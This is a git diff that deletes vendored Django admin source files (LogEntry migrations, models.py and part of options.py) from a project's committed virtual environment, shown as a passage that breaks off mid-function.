name="LogEntry", - fields=[ - ( - "id", - models.AutoField( - verbose_name="ID", - serialize=False, - auto_created=True, - primary_key=True, - ), - ), - ( - "action_time", - models.DateTimeField(auto_now=True, verbose_name="action time"), - ), - ( - "object_id", - models.TextField(null=True, verbose_name="object id", blank=True), - ), - ( - "object_repr", - models.CharField(max_length=200, verbose_name="object repr"), - ), - ( - "action_flag", - models.PositiveSmallIntegerField(verbose_name="action flag"), - ), - ( - "change_message", - models.TextField(verbose_name="change message", blank=True), - ), - ( - "content_type", - models.ForeignKey( - on_delete=models.SET_NULL, - blank=True, - null=True, - to="contenttypes.ContentType", - verbose_name="content type", - ), - ), - ( - "user", - models.ForeignKey( - to=settings.AUTH_USER_MODEL, - on_delete=models.CASCADE, - verbose_name="user", - ), - ), - ], - options={ - "ordering": ["-action_time"], - "db_table": "django_admin_log", - "verbose_name": "log entry", - "verbose_name_plural": "log entries", - }, - bases=(models.Model,), - managers=[ - ("objects", django.contrib.admin.models.LogEntryManager()), - ], - ), - ] diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/migrations/0002_logentry_remove_auto_add.py b/backend/venv/Lib/site-packages/django/contrib/admin/migrations/0002_logentry_remove_auto_add.py deleted file mode 100644 index 7fcf9c0c..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/migrations/0002_logentry_remove_auto_add.py +++ /dev/null @@ -1,21 +0,0 @@ -from django.db import migrations, models -from django.utils import timezone - - -class Migration(migrations.Migration): - dependencies = [ - ("admin", "0001_initial"), - ] - - # No database changes; removes auto_add and adds default/editable. - operations = [ - migrations.AlterField( - model_name="logentry", - name="action_time", - field=models.DateTimeField( - verbose_name="action time", - default=timezone.now, - editable=False, - ), - ), - ] diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/migrations/0003_logentry_add_action_flag_choices.py b/backend/venv/Lib/site-packages/django/contrib/admin/migrations/0003_logentry_add_action_flag_choices.py deleted file mode 100644 index a73e55fc..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/migrations/0003_logentry_add_action_flag_choices.py +++ /dev/null @@ -1,19 +0,0 @@ -from django.db import migrations, models - - -class Migration(migrations.Migration): - dependencies = [ - ("admin", "0002_logentry_remove_auto_add"), - ] - - # No database changes; adds choices to action_flag. - operations = [ - migrations.AlterField( - model_name="logentry", - name="action_flag", - field=models.PositiveSmallIntegerField( - choices=[(1, "Addition"), (2, "Change"), (3, "Deletion")], - verbose_name="action flag", - ), - ), - ] diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/migrations/__init__.py b/backend/venv/Lib/site-packages/django/contrib/admin/migrations/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/migrations/__pycache__/0001_initial.cpython-311.pyc b/backend/venv/Lib/site-packages/django/contrib/admin/migrations/__pycache__/0001_initial.cpython-311.pyc deleted file mode 100644 index 11fb53a9..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/migrations/__pycache__/0001_initial.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/migrations/__pycache__/0002_logentry_remove_auto_add.cpython-311.pyc b/backend/venv/Lib/site-packages/django/contrib/admin/migrations/__pycache__/0002_logentry_remove_auto_add.cpython-311.pyc deleted file mode 100644 index 76e3b004..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/migrations/__pycache__/0002_logentry_remove_auto_add.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/migrations/__pycache__/0003_logentry_add_action_flag_choices.cpython-311.pyc b/backend/venv/Lib/site-packages/django/contrib/admin/migrations/__pycache__/0003_logentry_add_action_flag_choices.cpython-311.pyc deleted file mode 100644 index 50973ebb..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/migrations/__pycache__/0003_logentry_add_action_flag_choices.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/migrations/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/contrib/admin/migrations/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 5ff6ce0f..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/migrations/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/models.py b/backend/venv/Lib/site-packages/django/contrib/admin/models.py deleted file mode 100644 index 957c9e48..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/models.py +++ /dev/null @@ -1,248 +0,0 @@ -import json -import warnings - -from django.conf import settings -from django.contrib.admin.utils import quote -from django.contrib.contenttypes.models import ContentType -from django.db import models -from django.urls import NoReverseMatch, reverse -from django.utils import timezone -from django.utils.deprecation import RemovedInDjango60Warning -from django.utils.text import get_text_list -from django.utils.translation import gettext -from django.utils.translation import gettext_lazy as _ - -ADDITION = 1 -CHANGE = 2 -DELETION = 3 - -ACTION_FLAG_CHOICES = [ - (ADDITION, _("Addition")), - (CHANGE, _("Change")), - (DELETION, _("Deletion")), -] - - -class LogEntryManager(models.Manager): - use_in_migrations = True - - def log_action( - self, - user_id, - content_type_id, - object_id, - object_repr, - action_flag, - change_message="", - ): - warnings.warn( - "LogEntryManager.log_action() is deprecated. Use log_actions() instead.", - RemovedInDjango60Warning, - stacklevel=2, - ) - if isinstance(change_message, list): - change_message = json.dumps(change_message) - return self.model.objects.create( - user_id=user_id, - content_type_id=content_type_id, - object_id=str(object_id), - object_repr=object_repr[:200], - action_flag=action_flag, - change_message=change_message, - ) - - def log_actions( - self, user_id, queryset, action_flag, change_message="", *, single_object=False - ): - # RemovedInDjango60Warning. - if type(self).log_action != LogEntryManager.log_action: - warnings.warn( - "The usage of log_action() is deprecated. Implement log_actions() " - "instead.", - RemovedInDjango60Warning, - stacklevel=2, - ) - return [ - self.log_action( - user_id=user_id, - content_type_id=ContentType.objects.get_for_model( - obj, for_concrete_model=False - ).id, - object_id=obj.pk, - object_repr=str(obj), - action_flag=action_flag, - change_message=change_message, - ) - for obj in queryset - ] - - if isinstance(change_message, list): - change_message = json.dumps(change_message) - - log_entry_list = [ - self.model( - user_id=user_id, - content_type_id=ContentType.objects.get_for_model( - obj, for_concrete_model=False - ).id, - object_id=obj.pk, - object_repr=str(obj)[:200], - action_flag=action_flag, - change_message=change_message, - ) - for obj in queryset - ] - - if len(log_entry_list) == 1: - instance = log_entry_list[0] - instance.save() - if single_object: - return instance - return [instance] - - return self.model.objects.bulk_create(log_entry_list) - - -class LogEntry(models.Model): - action_time = models.DateTimeField( - _("action time"), - default=timezone.now, - editable=False, - ) - user = models.ForeignKey( - settings.AUTH_USER_MODEL, - models.CASCADE, - verbose_name=_("user"), - ) - content_type = models.ForeignKey( - ContentType, - models.SET_NULL, - verbose_name=_("content type"), - blank=True, - null=True, - ) - object_id = models.TextField(_("object id"), blank=True, null=True) - # Translators: 'repr' means representation - # (https://docs.python.org/library/functions.html#repr) - object_repr = models.CharField(_("object repr"), max_length=200) - action_flag = models.PositiveSmallIntegerField( - _("action flag"), choices=ACTION_FLAG_CHOICES - ) - # change_message is either a string or a JSON structure - change_message = models.TextField(_("change message"), blank=True) - - objects = LogEntryManager() - - class Meta: - verbose_name = _("log entry") - verbose_name_plural = _("log entries") - db_table = "django_admin_log" - ordering = ["-action_time"] - - def __repr__(self): - return str(self.action_time) - - def __str__(self): - if self.is_addition(): - return gettext("Added “%(object)s”.") % {"object": self.object_repr} - elif self.is_change(): - return gettext("Changed “%(object)s” — %(changes)s") % { - "object": self.object_repr, - "changes": self.get_change_message(), - } - elif self.is_deletion(): - return gettext("Deleted “%(object)s.”") % {"object": self.object_repr} - - return gettext("LogEntry Object") - - def is_addition(self): - return self.action_flag == ADDITION - - def is_change(self): - return self.action_flag == CHANGE - - def is_deletion(self): - return self.action_flag == DELETION - - def get_change_message(self): - """ - If self.change_message is a JSON structure, interpret it as a change - string, properly translated. - """ - if self.change_message and self.change_message[0] == "[": - try: - change_message = json.loads(self.change_message) - except json.JSONDecodeError: - return self.change_message - messages = [] - for sub_message in change_message: - if "added" in sub_message: - if sub_message["added"]: - sub_message["added"]["name"] = gettext( - sub_message["added"]["name"] - ) - messages.append( - gettext("Added {name} “{object}”.").format( - **sub_message["added"] - ) - ) - else: - messages.append(gettext("Added.")) - - elif "changed" in sub_message: - sub_message["changed"]["fields"] = get_text_list( - [ - gettext(field_name) - for field_name in sub_message["changed"]["fields"] - ], - gettext("and"), - ) - if "name" in sub_message["changed"]: - sub_message["changed"]["name"] = gettext( - sub_message["changed"]["name"] - ) - messages.append( - gettext("Changed {fields} for {name} “{object}”.").format( - **sub_message["changed"] - ) - ) - else: - messages.append( - gettext("Changed {fields}.").format( - **sub_message["changed"] - ) - ) - - elif "deleted" in sub_message: - sub_message["deleted"]["name"] = gettext( - sub_message["deleted"]["name"] - ) - messages.append( - gettext("Deleted {name} “{object}”.").format( - **sub_message["deleted"] - ) - ) - - change_message = " ".join(msg[0].upper() + msg[1:] for msg in messages) - return change_message or gettext("No fields changed.") - else: - return self.change_message - - def get_edited_object(self): - """Return the edited object represented by this log entry.""" - return self.content_type.get_object_for_this_type(pk=self.object_id) - - def get_admin_url(self): - """ - Return the admin URL to edit the object represented by this log entry. - """ - if self.content_type and self.object_id: - url_name = "admin:%s_%s_change" % ( - self.content_type.app_label, - self.content_type.model, - ) - try: - return reverse(url_name, args=(quote(self.object_id),)) - except NoReverseMatch: - pass - return None diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/options.py b/backend/venv/Lib/site-packages/django/contrib/admin/options.py deleted file mode 100644 index 69b0cc03..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/options.py +++ /dev/null @@ -1,2600 +0,0 @@ -import copy -import enum -import json -import re -import warnings -from functools import partial, update_wrapper -from urllib.parse import parse_qsl -from urllib.parse import quote as urlquote -from urllib.parse import urlsplit - -from django import forms -from django.conf import settings -from django.contrib import messages -from django.contrib.admin import helpers, widgets -from django.contrib.admin.checks import ( - BaseModelAdminChecks, - InlineModelAdminChecks, - ModelAdminChecks, -) -from django.contrib.admin.exceptions import DisallowedModelAdminToField, NotRegistered -from django.contrib.admin.templatetags.admin_urls import add_preserved_filters -from django.contrib.admin.utils import ( - NestedObjects, - construct_change_message, - flatten_fieldsets, - get_deleted_objects, - lookup_spawns_duplicates, - model_format_dict, - model_ngettext, - quote, - unquote, -) -from django.contrib.admin.widgets import AutocompleteSelect, AutocompleteSelectMultiple -from django.contrib.auth import get_permission_codename -from django.core.exceptions import ( - FieldDoesNotExist, - FieldError, - PermissionDenied, - ValidationError, -) -from django.core.paginator import Paginator -from django.db import models, router, transaction -from django.db.models.constants import LOOKUP_SEP -from django.db.models.functions import Cast -from django.forms.formsets import DELETION_FIELD_NAME, all_valid -from django.forms.models import ( - BaseInlineFormSet, - inlineformset_factory, - modelform_defines_fields, - modelform_factory, - modelformset_factory, -) -from django.forms.widgets import CheckboxSelectMultiple, SelectMultiple -from django.http import HttpResponseRedirect -from django.http.response import HttpResponseBase -from django.template.response import SimpleTemplateResponse, TemplateResponse -from django.urls import reverse -from django.utils.decorators import method_decorator -from django.utils.deprecation import RemovedInDjango60Warning -from django.utils.html import format_html -from django.utils.http import urlencode -from django.utils.safestring import mark_safe -from django.utils.text import ( - capfirst, - format_lazy, - get_text_list, - smart_split, - unescape_string_literal, -) -from django.utils.translation import gettext as _ -from django.utils.translation import ngettext -from django.views.decorators.csrf import csrf_protect -from django.views.generic import RedirectView - -IS_POPUP_VAR = "_popup" -TO_FIELD_VAR = "_to_field" -IS_FACETS_VAR = "_facets" - - -class ShowFacets(enum.Enum): - NEVER = "NEVER" - ALLOW = "ALLOW" - ALWAYS = "ALWAYS" - - -HORIZONTAL, VERTICAL = 1, 2 - - -def get_content_type_for_model(obj): - # Since this module gets imported in the application's root package, - # it cannot import models from other applications at the module level. - from django.contrib.contenttypes.models import ContentType - - return ContentType.objects.get_for_model(obj, for_concrete_model=False) - - -def get_ul_class(radio_style): - return "radiolist" if radio_style == VERTICAL else "radiolist inline" - - -class IncorrectLookupParameters(Exception): - pass - - -# Defaults for formfield_overrides. ModelAdmin subclasses can change this -# by adding to ModelAdmin.formfield_overrides. - -FORMFIELD_FOR_DBFIELD_DEFAULTS = { - models.DateTimeField: { - "form_class": forms.SplitDateTimeField, - "widget": widgets.AdminSplitDateTime, - }, - models.DateField: {"widget": widgets.AdminDateWidget}, - models.TimeField: {"widget": widgets.AdminTimeWidget}, - models.TextField: {"widget": widgets.AdminTextareaWidget}, - models.URLField: {"widget": widgets.AdminURLFieldWidget}, - models.IntegerField: {"widget": widgets.AdminIntegerFieldWidget}, - models.BigIntegerField: {"widget": widgets.AdminBigIntegerFieldWidget}, - models.CharField: {"widget": widgets.AdminTextInputWidget}, - models.ImageField: {"widget": widgets.AdminFileWidget}, - models.FileField: {"widget": widgets.AdminFileWidget}, - models.EmailField: {"widget": widgets.AdminEmailInputWidget}, - models.UUIDField: {"widget": widgets.AdminUUIDInputWidget}, -} - -csrf_protect_m = method_decorator(csrf_protect) - - -class BaseModelAdmin(metaclass=forms.MediaDefiningClass): - """Functionality common to both ModelAdmin and InlineAdmin.""" - - autocomplete_fields = () - raw_id_fields = () - fields = None - exclude = None - fieldsets = None - form = forms.ModelForm - filter_vertical = () - filter_horizontal = () - radio_fields = {} - prepopulated_fields = {} - formfield_overrides = {} - readonly_fields = () - ordering = None - sortable_by = None - view_on_site = True - show_full_result_count = True - checks_class = BaseModelAdminChecks - - def check(self, **kwargs): - return self.checks_class().check(self, **kwargs) - - def __init__(self): - # Merge FORMFIELD_FOR_DBFIELD_DEFAULTS with the formfield_overrides - # rather than simply overwriting. - overrides = copy.deepcopy(FORMFIELD_FOR_DBFIELD_DEFAULTS) - for k, v in self.formfield_overrides.items(): - overrides.setdefault(k, {}).update(v) - self.formfield_overrides = overrides - - def formfield_for_dbfield(self, db_field, request, **kwargs): - """ - Hook for specifying the form Field instance for a given database Field - instance. - - If kwargs are given, they're passed to the form Field's constructor. - """ - # If the field specifies choices, we don't need to look for special - # admin widgets - we just need to use a select widget of some kind. - if db_field.choices: - return self.formfield_for_choice_field(db_field, request, **kwargs) - - # ForeignKey or ManyToManyFields - if isinstance(db_field, (models.ForeignKey, models.ManyToManyField)): - # Combine the field kwargs with any options for formfield_overrides. - # Make sure the passed in **kwargs override anything in - # formfield_overrides because **kwargs is more specific, and should - # always win. - if db_field.__class__ in self.formfield_overrides: - kwargs = {**self.formfield_overrides[db_field.__class__], **kwargs} - - # Get the correct formfield. - if isinstance(db_field, models.ForeignKey): - formfield = self.formfield_for_foreignkey(db_field, request, **kwargs) - elif isinstance(db_field, models.ManyToManyField): - formfield = self.formfield_for_manytomany(db_field, request, **kwargs) - - # For non-raw_id fields, wrap the widget with a wrapper that adds - # extra HTML -- the "add other" interface -- to the end of the - # rendered output. formfield can be None if it came from a - # OneToOneField with parent_link=True or a M2M intermediary. - if formfield and db_field.name not in self.raw_id_fields: - try: - related_modeladmin = self.admin_site.get_model_admin( - db_field.remote_field.model - ) - except NotRegistered: - wrapper_kwargs = {} - else: - wrapper_kwargs = { - "can_add_related": related_modeladmin.has_add_permission( - request - ), - "can_change_related": related_modeladmin.has_change_permission( - request - ), - "can_delete_related": related_modeladmin.has_delete_permission( - request - ), - "can_view_related": related_modeladmin.has_view_permission( - request - ), - } - formfield.widget = widgets.RelatedFieldWidgetWrapper( - formfield.widget, - db_field.remote_field, - self.admin_site, - **wrapper_kwargs, - ) - - return formfield - - # If we've got overrides for the formfield defined, use 'em. **kwargs - # passed to formfield_for_dbfield override the defaults. - for klass in db_field.__class__.mro(): - if klass in self.formfield_overrides: - kwargs = {**copy.deepcopy(self.formfield_overrides[klass]), **kwargs} - return db_field.formfield(**kwargs) - - # For any other type of field, just call its formfield() method. - return db_field.formfield(**kwargs) - - def formfield_for_choice_field(self, db_field, request, **kwargs): - """ - Get a form Field for a database Field that has declared choices. - """ - # If the field is named as a radio_field, use a RadioSelect - if db_field.name in self.radio_fields: - # Avoid stomping on custom widget/choices arguments. - if "widget" not in kwargs: - kwargs["widget"] = widgets.AdminRadioSelect( - attrs={ - "class": get_ul_class(self.radio_fields[db_field.name]), - } - ) - if "choices" not in kwargs: - kwargs["choices"] = db_field.get_choices( - include_blank=db_field.blank, blank_choice=[("", _("None"))] - ) - return db_field.formfield(**kwargs) - - def get_field_queryset(self, db, db_field, request): - """ - If the ModelAdmin specifies ordering, the queryset should respect that - ordering. Otherwise don't specify the queryset, let the field decide - (return None in that case). - """ - try: - related_admin = self.admin_site.get_model_admin(db_field.remote_field.model) - except NotRegistered: - return None - else: - ordering = related_admin.get_ordering(request) - if ordering is not None and ordering != (): - return db_field.remote_field.model._default_manager.using(db).order_by( - *ordering - ) - return None - - def formfield_for_foreignkey(self, db_field, request, **kwargs): - """ - Get a form Field for a ForeignKey. - """ - db = kwargs.get("using") - - if "widget" not in kwargs: - if db_field.name in self.get_autocomplete_fields(request): - kwargs["widget"] = AutocompleteSelect( - db_field, self.admin_site, using=db - ) - elif db_field.name in self.raw_id_fields: - kwargs["widget"] = widgets.ForeignKeyRawIdWidget( - db_field.remote_field, self.admin_site, using=db - ) - elif db_field.name in self.radio_fields: - kwargs["widget"] = widgets.AdminRadioSelect( - attrs={ - "class": get_ul_class(self.radio_fields[db_field.name]), - } - ) - kwargs["empty_label"] = ( - kwargs.get("empty_label", _("None")) if db_field.blank else None - ) - - if "queryset" not in kwargs: - queryset = self.get_field_queryset(db, db_field, request) - if queryset is not None: - kwargs["queryset"] = queryset - - return db_field.formfield(**kwargs) - - def formfield_for_manytomany(self, db_field, request, **kwargs): - """ - Get a form Field for a ManyToManyField. - """ - # If it uses an intermediary model that isn't auto created, don't show - # a field in admin. - if not db_field.remote_field.through._meta.auto_created: - return None - db = kwargs.get("using") - - if "widget" not in kwargs: - autocomplete_fields = self.get_autocomplete_fields(request) - if db_field.name in autocomplete_fields: - kwargs["widget"] = AutocompleteSelectMultiple( - db_field, - self.admin_site, - using=db, - ) - elif db_field.name in self.raw_id_fields: - kwargs["widget"] = widgets.ManyToManyRawIdWidget( - db_field.remote_field, - self.admin_site, - using=db, - ) - elif db_field.name in [*self.filter_vertical, *self.filter_horizontal]: - kwargs["widget"] = widgets.FilteredSelectMultiple( - db_field.verbose_name, db_field.name in self.filter_vertical - ) - if "queryset" not in kwargs: - queryset = self.get_field_queryset(db, db_field, request) - if queryset is not None: - kwargs["queryset"] = queryset - - form_field = db_field.formfield(**kwargs) - if ( - isinstance(form_field.widget, SelectMultiple) - and form_field.widget.allow_multiple_selected - and not isinstance( - form_field.widget, (CheckboxSelectMultiple, AutocompleteSelectMultiple) - ) - ): - msg = _( - "Hold down “Control”, or “Command” on a Mac, to select more than one." - ) - help_text = form_field.help_text - form_field.help_text = ( - format_lazy("{} {}", help_text, msg) if help_text else msg - ) - return form_field - - def get_autocomplete_fields(self, request): - """ - Return a list of ForeignKey and/or ManyToMany fields which should use - an autocomplete widget. - """ - return self.autocomplete_fields - - def get_view_on_site_url(self, obj=None): - if obj is None or not self.view_on_site: - return None - - if callable(self.view_on_site): - return self.view_on_site(obj) - elif hasattr(obj, "get_absolute_url"): - # use the ContentType lookup if view_on_site is True - return reverse( - "admin:view_on_site", - kwargs={ - "content_type_id": get_content_type_for_model(obj).pk, - "object_id": obj.pk, - }, - current_app=self.admin_site.name, - ) - - def get_empty_value_display(self): - """ - Return the empty_value_display set on ModelAdmin or AdminSite. - """ - try: - return mark_safe(self.empty_value_display) - except AttributeError: - return mark_safe(self.admin_site.empty_value_display) - - def get_exclude(self, request, obj=None): - """ - Hook for specifying exclude. - """ - return self.exclude - - def get_fields(self, request, obj=None): - """ - Hook for specifying fields. - """ - if self.fields: - return self.fields - # _get_form_for_get_fields() is implemented in subclasses. - form = self._get_form_for_get_fields(request, obj) - return [*form.base_fields, *self.get_readonly_fields(request, obj)] - - def get_fieldsets(self, request, obj=None): - """ - Hook for specifying fieldsets. - """ - if self.fieldsets: - return self.fieldsets - return [(None, {"fields": self.get_fields(request, obj)})] - - def get_inlines(self, request, obj): - """Hook for specifying custom inlines.""" - return self.inlines - - def get_ordering(self, request): - """ - Hook for specifying field ordering. - """ - return self.ordering or () # otherwise we might try to *None, which is bad ;) - - def get_readonly_fields(self, request, obj=None): - """ - Hook for specifying custom readonly fields. - """ - return self.readonly_fields - - def get_prepopulated_fields(self, request, obj=None): - """ - Hook for specifying custom prepopulated fields. - """ - return self.prepopulated_fields - - def get_queryset(self, request): - """ - Return a QuerySet of all model instances that can be edited by the - admin site. This is used by changelist_view. - """ - qs = self.model._default_manager.get_queryset() - # TODO: this should be handled by some parameter to the ChangeList. - ordering = self.get_ordering(request) - if ordering: - qs = qs.order_by(*ordering) - return qs - - def get_sortable_by(self, request): - """Hook for specifying which fields can be sorted in the changelist.""" - return ( - self.sortable_by - if self.sortable_by is not None - else self.get_list_display(request) - ) - - # RemovedInDjango60Warning: when the deprecation ends, replace with: - # def lookup_allowed(self, lookup, value, request): - def lookup_allowed(self, lookup, value, request=None): - from django.contrib.admin.filters import SimpleListFilter - - model = self.model - # Check FKey lookups that are allowed, so that popups produced by - # ForeignKeyRawIdWidget, on the basis of ForeignKey.limit_choices_to, - # are allowed to work. - for fk_lookup in model._meta.related_fkey_lookups: - # As ``limit_choices_to`` can be a callable, invoke it here. - if callable(fk_lookup): - fk_lookup = fk_lookup() - if (lookup, value) in widgets.url_params_from_lookup_dict( - fk_lookup - ).items(): - return True - - relation_parts = [] - prev_field = None - parts = lookup.split(LOOKUP_SEP) - for part in parts: - try: - field = model._meta.get_field(part) - except FieldDoesNotExist: - # Lookups on nonexistent fields are ok, since they're ignored - # later. - break - if not prev_field or ( - prev_field.is_relation - and field not in model._meta.parents.values() - and field is not model._meta.auto_field - and ( - model._meta.auto_field is None - or part not in getattr(prev_field, "to_fields", []) - ) - and (field.is_relation or not field.primary_key) - ): - relation_parts.append(part) - if not getattr(field, "path_infos", None): - # This is not a relational field, so further parts - # must be transforms. - break - prev_field = field - model = field.path_infos[-1].to_opts.model - - if len(relation_parts) <= 1: - # Either a local field filter, or no fields at all. - return True - valid_lookups = {self.date_hierarchy} - # RemovedInDjango60Warning: when the deprecation ends, replace with: - # for filter_item in self.get_list_filter(request): - list_filter = ( - self.get_list_filter(request) if request is not None else self.list_filter - ) - for filter_item in list_filter: - if isinstance(filter_item, type) and issubclass( - filter_item, SimpleListFilter - ): - valid_lookups.add(filter_item.parameter_name) - elif isinstance(filter_item, (list, tuple)): - valid_lookups.add(filter_item[0]) - else: - valid_lookups.add(filter_item) - - # Is it a valid relational lookup? - return not { - LOOKUP_SEP.join(relation_parts), - LOOKUP_SEP.join(relation_parts + [part]), - }.isdisjoint(valid_lookups) - - def to_field_allowed(self, request, to_field): - """ - Return True if the model associated with this admin should be - allowed to be referenced by the specified field. - """ - try: - field = self.opts.get_field(to_field) - except FieldDoesNotExist: - return False - - # Always allow referencing the primary key since it's already possible - # to get this information from the change view URL. - if field.primary_key: - return True - - # Allow reverse relationships to models defining m2m fields if they - # target the specified field. - for many_to_many in self.opts.many_to_many: - if many_to_many.m2m_target_field_name() == to_field: - return True - - # Make sure at least one of the models registered for this site - # references this field through a FK or a M2M relationship. - registered_models = set() - for model, admin in self.admin_site._registry.items(): - registered_models.add(model) - for inline in admin.inlines: - registered_models.add(inline.model) - - related_objects = ( - f - for f in self.opts.get_fields(include_hidden=True) - if (f.auto_created and not f.concrete) - ) - for related_object in related_objects: - related_model = related_object.related_model - remote_field = related_object.field.remote_field - if ( - any(issubclass(model, related_model) for model in registered_models) - and hasattr(remote_field, "get_related_field") - and remote_field.get_related_field() == field - ): - return True - - return False - - def has_add_permission(self, request): - """ - Return True if the given request has permission to add an object. - Can be overridden by the user in subclasses. - """ - opts = self.opts - codename = get_permission_codename("add", opts) - return request.user.has_perm("%s.%s" % (opts.app_label, codename)) - - def has_change_permission(self, request, obj=None): - """ - Return True if the given request has permission to change the given - Django model instance, the default implementation doesn't examine the - `obj` parameter. - - Can be overridden by the user in subclasses. In such case it should - return True if the given request has permission to change the `obj` - model instance. If `obj` is None, this should return True if the given - request has permission to change *any* object of the given type. - """ - opts = self.opts - codename = get_permission_codename("change", opts) - return request.user.has_perm("%s.%s" % (opts.app_label, codename)) - - def has_delete_permission(self, request, obj=None): - """ - Return True if the given request has permission to delete the given - Django model instance, the default implementation doesn't examine the - `obj` parameter. - - Can be overridden by the user in subclasses. In such case it should - return True if the given request has permission to delete the `obj` - model instance. If `obj` is None, this should return True if the given - request has permission to delete *any* object of the given type. - """ - opts = self.opts - codename = get_permission_codename("delete", opts) - return request.user.has_perm("%s.%s" % (opts.app_label, codename)) - - def has_view_permission(self, request, obj=None): - """ - Return True if the given request has permission to view the given - Django model instance. The default implementation doesn't examine the - `obj` parameter. - - If overridden by the user in subclasses, it should return True if the - given request has permission to view the `obj` model instance. If `obj` - is None, it should return True if the request has permission to view - any object of the given type. - """ - opts = self.opts - codename_view = get_permission_codename("view", opts) - codename_change = get_permission_codename("change", opts) - return request.user.has_perm( - "%s.%s" % (opts.app_label, codename_view) - ) or request.user.has_perm("%s.%s" % (opts.app_label, codename_change)) - - def has_view_or_change_permission(self, request, obj=None): - return self.has_view_permission(request, obj) or self.has_change_permission( - request, obj - ) - - def has_module_permission(self, request): - """ - Return True if the given request has any permission in the given - app label. - - Can be overridden by the user in subclasses. In such case it should - return True if the given request has permission to view the module on - the admin index page and access the module's index page. Overriding it - does not restrict access to the add, change or delete views. Use - `ModelAdmin.has_(add|change|delete)_permission` for that. - """ - return request.user.has_module_perms(self.opts.app_label) - - -class ModelAdmin(BaseModelAdmin): - """Encapsulate all admin options and functionality for a given model.""" - - list_display = ("__str__",) - list_display_links = () - list_filter = () - list_select_related = False - list_per_page = 100 - list_max_show_all = 200 - list_editable = () - search_fields = () - search_help_text = None - date_hierarchy = None - save_as = False - save_as_continue = True - save_on_top = False - paginator = Paginator - preserve_filters = True - show_facets = ShowFacets.ALLOW - inlines = () - - # Custom templates (designed to be over-ridden in subclasses) - add_form_template = None - change_form_template = None - change_list_template = None - delete_confirmation_template = None - delete_selected_confirmation_template = None - object_history_template = None - popup_response_template = None - - # Actions - actions = () - action_form = helpers.ActionForm - actions_on_top = True - actions_on_bottom = False - actions_selection_counter = True - checks_class = ModelAdminChecks - - def __init__(self, model, admin_site): - self.model = model - self.opts = model._meta - self.admin_site = admin_site - super().__init__() - - def __str__(self): - return "%s.%s" % (self.opts.app_label, self.__class__.__name__) - - def __repr__(self): - return ( - f"<{self.__class__.__qualname__}: model={self.model.__qualname__} " - f"site={self.admin_site!r}>" - ) - - def get_inline_instances(self, request, obj=None): - inline_instances = [] - for inline_class in self.get_inlines(request, obj): - inline = inline_class(self.model, self.admin_site) - if request: - if not ( - inline.has_view_or_change_permission(request, obj) - or inline.has_add_permission(request, obj) - or inline.has_delete_permission(request, obj) - ): - continue - if not inline.has_add_permission(request, obj): - inline.max_num = 0 - inline_instances.append(inline) - - return inline_instances - - def get_urls(self): - from django.urls import path - - def wrap(view): - def wrapper(*args, **kwargs): - return self.admin_site.admin_view(view)(*args, **kwargs) - - wrapper.model_admin = self - return update_wrapper(wrapper, view) - - info = self.opts.app_label, self.opts.model_name - - return [ - path("", wrap(self.changelist_view), name="%s_%s_changelist" % info), - path("add/", wrap(self.add_view), name="%s_%s_add" % info), - path( - "/history/", - wrap(self.history_view), - name="%s_%s_history" % info, - ), - path( - "/delete/", - wrap(self.delete_view), - name="%s_%s_delete" % info, - ), - path( - "/change/", - wrap(self.change_view), - name="%s_%s_change" % info, - ), - # For backwards compatibility (was the change url before 1.9) - path( - "/", - wrap( - RedirectView.as_view( - pattern_name="%s:%s_%s_change" - % ((self.admin_site.name,) + info) - ) - ), - ), - ] - - @property - def urls(self): - return self.get_urls() - - @property - def media(self): - extra = "" if settings.DEBUG else ".min" - js = [ - "vendor/jquery/jquery%s.js" % extra, - "jquery.init.js", - "core.js", - "admin/RelatedObjectLookups.js", - "actions.js", - "urlify.js", - "prepopulate.js", - "vendor/xregexp/xregexp%s.js" % extra, - ] - return forms.Media(js=["admin/js/%s" % url for url in js]) - - def get_model_perms(self, request): - """ - Return a dict of all perms for this model. This dict has the keys - ``add``, ``change``, ``delete``, and ``view`` mapping to the True/False - for each of those actions. - """ - return { - "add": self.has_add_permission(request), - "change": self.has_change_permission(request), - "delete": self.has_delete_permission(request), - "view": self.has_view_permission(request), - } - - def _get_form_for_get_fields(self, request, obj): - return self.get_form(request, obj, fields=None) - - def get_form(self, request, obj=None, change=False, **kwargs): - """ - Return a Form class for use in the admin add view. This is used by - add_view and change_view. - """ - if "fields" in kwargs: - fields = kwargs.pop("fields") - else: - fields = flatten_fieldsets(self.get_fieldsets(request, obj)) - excluded = self.get_exclude(request, obj) - exclude = [] if excluded is None else list(excluded) - readonly_fields = self.get_readonly_fields(request, obj) - exclude.extend(readonly_fields) - # Exclude all fields if it's a change form and the user doesn't have - # the change permission. - if ( - change - and hasattr(request, "user") - and not self.has_change_permission(request, obj) - ): - exclude.extend(fields) - if excluded is None and hasattr(self.form, "_meta") and self.form._meta.exclude: - # Take the custom ModelForm's Meta.exclude into account only if the - # ModelAdmin doesn't define its own. - exclude.extend(self.form._meta.exclude) - # if exclude is an empty list we pass None to be consistent with the - # default on modelform_factory - exclude = exclude or None - - # Remove declared form fields which are in readonly_fields. - new_attrs = dict.fromkeys( - f for f in readonly_fields if f in self.form.declared_fields - ) - form = type(self.form.__name__, (self.form,), new_attrs) - - defaults = { - "form": form, - "fields": fields, - "exclude": exclude, - "formfield_callback": partial(self.formfield_for_dbfield, request=request), - **kwargs, - } 